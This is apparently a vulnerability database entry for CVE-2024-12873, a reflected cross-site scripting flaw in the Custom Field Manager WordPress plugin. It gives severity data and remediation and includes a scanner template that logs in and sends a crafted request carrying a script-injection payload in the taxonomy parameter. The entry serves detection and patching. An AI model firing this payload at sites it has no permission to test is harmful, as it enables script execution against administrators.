Custom Field Manager WordPress - Cross-Site Scripting
CVE-2024-12873
Verified
Description
Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
Severity
Medium
CVSS Score
6.1
Exploit Probability
0%
Affected Product
custom_field_manager
Published Date
February 6, 2026
Template Author
sourabh-sahu
CVE-2024-12873.yaml
id: CVE-2024-12873
info:
name: Custom Field Manager WordPress - Cross-Site Scripting
author: Sourabh-Sahu
severity: medium
description: |
Custom Field Manager WordPress plugin through 1.0 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
impact: |
Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
remediation: |
Update to the latest version with proper sanitization and escaping.
reference:
- https://wpscan.com/vulnerability/3e82d45f-7b8f-424e-a8d7-be64f5acf65e/
- https://nvd.nist.gov/vuln/detail/CVE-2024-12873
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-12873
cwe-id: CWE-79
epss-score: 0.0017
epss-percentile: 0.37769
cpe: cpe:2.3:a:f1logic:custom_field_manager:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: f1logic
product: custom_field_manager
tags: cve,cve2024,f1logic,custom-field-manager,authenticated,wordpress,wp,wp-plugin,xss
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=
matchers:
- type: dsl
dsl:
- contains(header, "wordpress_logged_in")
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=custom-field-manager-customfields&taxonomy=testxss%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "text/html")
- contains_all(body, "</script><script>alert(document.domain)</script><script>","custom-field-manager")
condition: and
# digest: 4a0a00473045022100f7cf953f452489361949ea17f96fc05c3d3d0e815217a1669107f688d54a955302200764fbcff34feb1d658cce9911448b9349a5a894eff5ce629dd1729cad45a1ea:922c64590222798bb761d5b6d8e729506.1Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-12873
CWE ID:
cwe-79
Remediation Steps
Update to the latest version with proper sanitization and escaping.